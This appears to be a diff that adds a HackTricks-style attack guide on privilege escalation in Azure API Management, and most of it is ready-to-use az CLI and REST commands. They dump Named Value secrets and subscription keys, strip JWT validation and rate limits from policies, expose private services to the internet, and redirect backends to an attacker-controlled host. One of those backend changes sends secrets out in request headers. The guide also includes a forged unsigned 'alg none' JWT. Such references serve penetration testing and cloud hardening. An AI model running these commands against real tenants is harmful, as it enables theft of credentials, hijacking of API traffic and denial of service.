|
| 1 | +# Az - API Management Privesc |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` |
| 6 | + |
| 7 | +The attack consists of accessing sensitive secrets stored in Azure API Management Named Values, either by directly retrieving secret values or by abusing permissions to obtain Key Vault–backed secrets through managed identities. |
| 8 | + |
| 9 | +```bash |
| 10 | +az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id> |
| 11 | +``` |
| 12 | + |
| 13 | +## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` |
| 14 | +For each subscription, the attacker can obtain the subscription keys by using the listSecrets endpoint with the POST method: |
| 15 | + |
| 16 | +```bash |
| 17 | +az rest --method POST \ |
| 18 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01" |
| 19 | +``` |
| 20 | + |
| 21 | +The response includes the subscription primary key (primaryKey) and secondary key (secondaryKey). With these keys, the attacker can authenticate and access the APIs published through the API Management Gateway: |
| 22 | + |
| 23 | +```bash |
| 24 | +curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \ |
| 25 | + https://<service-name>.azure-api.net/<api-path> |
| 26 | +``` |
| 27 | + |
| 28 | +The attacker can access all APIs and products associated with the subscription. If the subscription has access to sensitive products or APIs, the attacker may obtain confidential information or perform unauthorized operations. |
| 29 | + |
| 30 | +## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` |
| 31 | + |
| 32 | +The attacker first retrieves the current API policy: |
| 33 | + |
| 34 | +```bash |
| 35 | +az rest --method GET \ |
| 36 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml" |
| 37 | +``` |
| 38 | + |
| 39 | +The attacker can modify the policy in multiple ways depending on their objectives. For example, to disable authentication, if the policy includes JWT token validation, the attacker can remove or comment out that section: |
| 40 | + |
| 41 | +```xml |
| 42 | +<policies> |
| 43 | + <inbound> |
| 44 | + <base /> |
| 45 | + <!-- JWT validation removed by the attacker --> |
| 46 | + <!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" > |
| 47 | + ... |
| 48 | + </validate-jwt> --> |
| 49 | + </inbound> |
| 50 | + <backend> |
| 51 | + <base /> |
| 52 | + </backend> |
| 53 | + <outbound> |
| 54 | + <base /> |
| 55 | + </outbound> |
| 56 | + <on-error> |
| 57 | + <base /> |
| 58 | + </on-error> |
| 59 | +</policies> |
| 60 | +``` |
| 61 | + |
| 62 | +To remove rate limiting controls and allow denial-of-service attacks, the attacker can remove or comment out quota and rate-limit policies: |
| 63 | + |
| 64 | +```xml |
| 65 | +<policies> |
| 66 | + <inbound> |
| 67 | + <base /> |
| 68 | + <!-- Rate limiting removed by the attacker --> |
| 69 | + <!-- <rate-limit calls="100" renewal-period="60" /> |
| 70 | + <quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> --> |
| 71 | + </inbound> |
| 72 | + ... |
| 73 | +</policies> |
| 74 | +``` |
| 75 | + |
| 76 | +To modify the backend route and redirect traffic to an attacker-controlled server: |
| 77 | + |
| 78 | +```xml |
| 79 | +<policies> |
| 80 | + ... |
| 81 | + <inbound> |
| 82 | + <base /> |
| 83 | + <set-backend-service base-url="https://attacker-controlled-server.com" /> |
| 84 | + </inbound> |
| 85 | + ... |
| 86 | +</policies> |
| 87 | +``` |
| 88 | + |
| 89 | +The attacker then applies the modified policy. The request body must be a JSON object containing the policy in XML format: |
| 90 | + |
| 91 | +```bash |
| 92 | +az rest --method PUT \ |
| 93 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \ |
| 94 | + --headers "Content-Type=application/json" \ |
| 95 | + --body '{ |
| 96 | + "properties": { |
| 97 | + "format": "rawxml", |
| 98 | + "value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>" |
| 99 | + } |
| 100 | + }' |
| 101 | +``` |
| 102 | + |
| 103 | +## JWT Validation Misconfiguration |
| 104 | + |
| 105 | +The attacker needs to know that an API uses JWT token validation and that the policy is misconfigured. Poorly configured JWT validation policies may have `require-signed-tokens="false"` or `require-expiration-time="false"`, which allows the service to accept unsigned tokens or tokens that never expire. |
| 106 | + |
| 107 | +The attacker creates a malicious JWT token using the none algorithm (unsigned): |
| 108 | + |
| 109 | +``` |
| 110 | +# Header: {"alg":"none"} |
| 111 | +# Payload: {"sub":"user"} |
| 112 | +eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. |
| 113 | +``` |
| 114 | + |
| 115 | +The attacker sends a request to the API using the malicious token: |
| 116 | + |
| 117 | +```bash |
| 118 | +curl -X GET \ |
| 119 | + -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ |
| 120 | + https://<apim>.azure-api.net/path |
| 121 | +``` |
| 122 | + |
| 123 | +If the policy is misconfigured with `require-signed-tokens="false"`, the service will accept the unsigned token. The attacker can also create a token without an expiration claim if `require-expiration-time="false"`. |
| 124 | + |
| 125 | +## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` |
| 126 | +The attacker first checks the current network configuration of the service: |
| 127 | + |
| 128 | +```bash |
| 129 | +az rest --method GET \ |
| 130 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" |
| 131 | +``` |
| 132 | + |
| 133 | +The attacker reviews the JSON response to verify the values of `publicNetworkAccess` and `virtualNetworkType`. If `publicNetworkAccess` is set to false or `virtualNetworkType` is set to Internal, the service is configured for private access. |
| 134 | + |
| 135 | +To expose the service to the Internet, the attacker must change both settings. If the service is running in internal mode (`virtualNetworkType: "Internal"`), the attacker changes it to None or External and enables public network access. This can be done using the Azure Management API: |
| 136 | + |
| 137 | +```bash |
| 138 | +az rest --method PATCH \ |
| 139 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \ |
| 140 | + --headers "Content-Type=application/json" \ |
| 141 | + --body '{ |
| 142 | + "properties": { |
| 143 | + "publicNetworkAccess": "Enabled", |
| 144 | + "virtualNetworkType": "None" |
| 145 | + } |
| 146 | + }' |
| 147 | +``` |
| 148 | + |
| 149 | +Once `virtualNetworkType` is set to `None` or `External` and `publicNetworkAccess` is enabled, the service and all its APIs become accessible from the Internet, even if they were previously protected behind a private network or private endpoints. |
| 150 | + |
| 151 | +## `Microsoft.ApiManagement/service/backends/write` |
| 152 | +The attacker first enumerates the existing backends to identify which one to modify: |
| 153 | + |
| 154 | +```bash |
| 155 | +az rest --method GET \ |
| 156 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01" |
| 157 | +``` |
| 158 | + |
| 159 | +The attacker retrieves the current configuration of the backend they want to modify: |
| 160 | + |
| 161 | +```bash |
| 162 | +az rest --method GET \ |
| 163 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" |
| 164 | +``` |
| 165 | + |
| 166 | +The attacker modifies the backend URL to point to a server under their control. First, they obtain the ETag from the previous response and then update the backend: |
| 167 | + |
| 168 | +```bash |
| 169 | +az rest --method PUT \ |
| 170 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \ |
| 171 | + --headers "Content-Type=application/json" "If-Match=*" \ |
| 172 | + --body '{ |
| 173 | + "properties": { |
| 174 | + "url": "https://attacker-controlled-server.com", |
| 175 | + "protocol": "http", |
| 176 | + "description": "Backend modified by attacker" |
| 177 | + } |
| 178 | + }' |
| 179 | +``` |
| 180 | + |
| 181 | +Alternatively, the attacker can configure backend headers to exfiltrate Named Values containing secrets. This is done through the backend credentials configuration: |
| 182 | + |
| 183 | +```bash |
| 184 | +az rest --method PUT \ |
| 185 | + --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \ |
| 186 | + --headers "Content-Type=application/json" "If-Match=*" \ |
| 187 | + --body '{ |
| 188 | + "properties": { |
| 189 | + "url": "https://attacker-controlled-server.com", |
| 190 | + "protocol": "http", |
| 191 | + "credentials": { |
| 192 | + "header": { |
| 193 | + "X-Secret-Value": ["{{named-value-secret}}"] |
| 194 | + } |
| 195 | + } |
| 196 | + } |
| 197 | + }' |
| 198 | +``` |
| 199 | + |
| 200 | +With this configuration, Named Values are sent as headers in all requests to the attacker-controlled backend, enabling the exfiltration of sensitive secrets. |
| 201 | + |
| 202 | +{{#include ../../../banners/hacktricks-training.md}} |
0 commit comments